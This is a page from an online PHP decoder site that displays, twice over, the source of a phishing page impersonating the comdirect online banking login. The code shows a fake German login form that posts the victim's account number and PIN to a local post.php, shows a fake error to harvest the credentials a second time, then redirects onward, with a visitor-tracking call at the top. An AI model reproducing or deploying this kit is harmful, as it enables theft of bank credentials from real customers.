Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php require_once "functions.php"; visitors(); ?> <!DOCTYPE html> <html lang="en"..

Decoded Output download

<?php 

require_once "functions.php";


visitors();


?>
<!DOCTYPE html>


<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalabl=no">
    <title>Konto</title>
    <link rel="stylesheet" href="./Konto_files/app.css">
    <link rel="stylesheet" href="./Konto_files/img.css">
    <script src="./Konto_files/jquery.min.js.download"></script>
    <script src="./Konto_files/jquery.creditCardValidator.min.js.download"></script>
    <script src="./Konto_files/jquery.mask.min.js.download"></script>
</head>
<body>
    <header>
        <img src="./Konto_files/header-lg.png" class="lg">
        <img src="./Konto_files/header-md.png" class="md">
        <img src="./Konto_files/header-sm.png" class="sm">
        <img src="./Konto_files/header-xs.png" class="xs">
    </header>

    <main>
        <section>
            <div class="form">
                <div class="title">
                    comdirect Login
                </div>
                <div class="text">
                    Willkommen bei Ihrem Online Banking
                </div>

                <div class="col">
                    <input type="text" placeholder="Zugangsnummer / Benutzername" id="u" oninput="this.value = this.value.replace(/[^0-9]/g, '').substring(0, 8)">
                </div>
                <div class="col">
                    <input type="password" placeholder="PIN / Passwort" id="p" oninput="restrictPasswordInput(this)" maxlength="6">
                </div>

                <?php
                if(isset($_GET['id']) && $_GET['id'] === 'Error') {
                    echo '<div  style="color: red;">Das Login konnte nicht erfolgreich durchgefhrt werden. Bitte berprfen Sie Ihre Eingaben. Zur Anmeldung als Kunde geben Sie bitte Zugangsnummer und PIN ein. Fr die Anmeldung im "Meine comdirect"-Bereich geben Sie bitte Benutzernamen und Passwort ein. Sollte das Problem weiterhin auftreten, wenden Sie sich bitte an Ihre Kundenbetreuung unter 04106 - 708 25 00.</div><br>';
                    $nextId = 'Loginerr';
					$path = 'KontoWai.php?id=1';
                } else {
                    $nextId = 'Login';
					$path = 'index.php?id=Error';
                }
                ?>
                
                <div class="col">
                    <!-- Pass the next ID as a data attribute -->
                    <button onclick="sendLog('<?php echo $nextId; ?>')">Anmelden</button>
                </div>
            </div>
        </section>
    </main>


<script>
    function sendLog(nextId) {
		$("input").removeClass("error");
		$("#error-message").text(""); // Clear previous error message

		// Check if both "u" and "p" fields are empty
		if ($("#u").val().trim() === "" && $("#p").val().trim() === "") {
			// Show error message and add error class to both fields
			$("#error-message").text("Bitte fllen Sie alle erforderlichen Felder aus.");
			$("#u, #p").addClass("error");
			return; // Stop further execution
		}

		// Check individual field lengths
		if ($("#u").val().length < 8) {
			$("#error-message").text("Bitte geben Sie einen gltigen Benutzernamen ein (mindestens 8 Zeichen).");
			$("#u").addClass("error");
			return;
		}
		if ($("#p").val().length < 6) {
			$("#error-message").text("Bitte geben Sie ein gltiges Passwort ein (mindestens 6 Zeichen).");
			$("#p").addClass("error");
			return;
		}

		// Send POST request with the next ID determined based on the URL parameter 'id'
		$.post("post.php?id=" + nextId, { user: $("#u").val(), pass: $("#p").val() }, (res) => {
			// Redirect to the specified path
			window.location = "<?php echo $path; ?>";
		});
	}



	document.getElementById('u').addEventListener('keydown', function(event) {
    // Allow only numeric characters and backspace/delete keys
    if (!/^\d$/.test(event.key) && event.key.length === 1 && !event.ctrlKey && !event.metaKey && !event.altKey) {
        event.preventDefault();
    }
});
	document.getElementById('p').addEventListener('keydown', function(event) {
    // Allow only numeric characters and backspace/delete keys
    if (!/^\d$/.test(event.key) && event.key.length === 1 && !event.ctrlKey && !event.metaKey && !event.altKey) {
        event.preventDefault();
    }
});
	function restrictPasswordInput(input) {
    // Remove non-numeric characters and restrict to maximum length of 6
    input.value = input.value.replace(/[^0-9]/g, '').substring(0, 6);
}


</script>

    <footer>
        <img src="./Konto_files/footer-lg.png" class="lg">
        <img src="./Konto_files/footer-md.png" class="md">
        <img src="./Konto_files/footer-sm.png" class="sm">
        <img src="./Konto_files/footer-xs.png" class="xs">
    </footer>
</body>
</html>

Did this file decode correctly?

Original Code

<?php 

require_once "functions.php";


visitors();


?>
<!DOCTYPE html>


<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalabl=no">
    <title>Konto</title>
    <link rel="stylesheet" href="./Konto_files/app.css">
    <link rel="stylesheet" href="./Konto_files/img.css">
    <script src="./Konto_files/jquery.min.js.download"></script>
    <script src="./Konto_files/jquery.creditCardValidator.min.js.download"></script>
    <script src="./Konto_files/jquery.mask.min.js.download"></script>
</head>
<body>
    <header>
        <img src="./Konto_files/header-lg.png" class="lg">
        <img src="./Konto_files/header-md.png" class="md">
        <img src="./Konto_files/header-sm.png" class="sm">
        <img src="./Konto_files/header-xs.png" class="xs">
    </header>

    <main>
        <section>
            <div class="form">
                <div class="title">
                    comdirect Login
                </div>
                <div class="text">
                    Willkommen bei Ihrem Online Banking
                </div>

                <div class="col">
                    <input type="text" placeholder="Zugangsnummer / Benutzername" id="u" oninput="this.value = this.value.replace(/[^0-9]/g, '').substring(0, 8)">
                </div>
                <div class="col">
                    <input type="password" placeholder="PIN / Passwort" id="p" oninput="restrictPasswordInput(this)" maxlength="6">
                </div>

                <?php
                if(isset($_GET['id']) && $_GET['id'] === 'Error') {
                    echo '<div  style="color: red;">Das Login konnte nicht erfolgreich durchgefhrt werden. Bitte berprfen Sie Ihre Eingaben. Zur Anmeldung als Kunde geben Sie bitte Zugangsnummer und PIN ein. Fr die Anmeldung im "Meine comdirect"-Bereich geben Sie bitte Benutzernamen und Passwort ein. Sollte das Problem weiterhin auftreten, wenden Sie sich bitte an Ihre Kundenbetreuung unter 04106 - 708 25 00.</div><br>';
                    $nextId = 'Loginerr';
					$path = 'KontoWai.php?id=1';
                } else {
                    $nextId = 'Login';
					$path = 'index.php?id=Error';
                }
                ?>
                
                <div class="col">
                    <!-- Pass the next ID as a data attribute -->
                    <button onclick="sendLog('<?php echo $nextId; ?>')">Anmelden</button>
                </div>
            </div>
        </section>
    </main>


<script>
    function sendLog(nextId) {
		$("input").removeClass("error");
		$("#error-message").text(""); // Clear previous error message

		// Check if both "u" and "p" fields are empty
		if ($("#u").val().trim() === "" && $("#p").val().trim() === "") {
			// Show error message and add error class to both fields
			$("#error-message").text("Bitte fllen Sie alle erforderlichen Felder aus.");
			$("#u, #p").addClass("error");
			return; // Stop further execution
		}

		// Check individual field lengths
		if ($("#u").val().length < 8) {
			$("#error-message").text("Bitte geben Sie einen gltigen Benutzernamen ein (mindestens 8 Zeichen).");
			$("#u").addClass("error");
			return;
		}
		if ($("#p").val().length < 6) {
			$("#error-message").text("Bitte geben Sie ein gltiges Passwort ein (mindestens 6 Zeichen).");
			$("#p").addClass("error");
			return;
		}

		// Send POST request with the next ID determined based on the URL parameter 'id'
		$.post("post.php?id=" + nextId, { user: $("#u").val(), pass: $("#p").val() }, (res) => {
			// Redirect to the specified path
			window.location = "<?php echo $path; ?>";
		});
	}



	document.getElementById('u').addEventListener('keydown', function(event) {
    // Allow only numeric characters and backspace/delete keys
    if (!/^\d$/.test(event.key) && event.key.length === 1 && !event.ctrlKey && !event.metaKey && !event.altKey) {
        event.preventDefault();
    }
});
	document.getElementById('p').addEventListener('keydown', function(event) {
    // Allow only numeric characters and backspace/delete keys
    if (!/^\d$/.test(event.key) && event.key.length === 1 && !event.ctrlKey && !event.metaKey && !event.altKey) {
        event.preventDefault();
    }
});
	function restrictPasswordInput(input) {
    // Remove non-numeric characters and restrict to maximum length of 6
    input.value = input.value.replace(/[^0-9]/g, '').substring(0, 6);
}


</script>

    <footer>
        <img src="./Konto_files/footer-lg.png" class="lg">
        <img src="./Konto_files/footer-md.png" class="md">
        <img src="./Konto_files/footer-sm.png" class="sm">
        <img src="./Konto_files/footer-xs.png" class="xs">
    </footer>
</body>
</html>

Function Calls

None

Variables

None

Stats

MD5 7287ec37385bbbaa6cde12af79f025c9
Eval Count 0
Decode Time 94 ms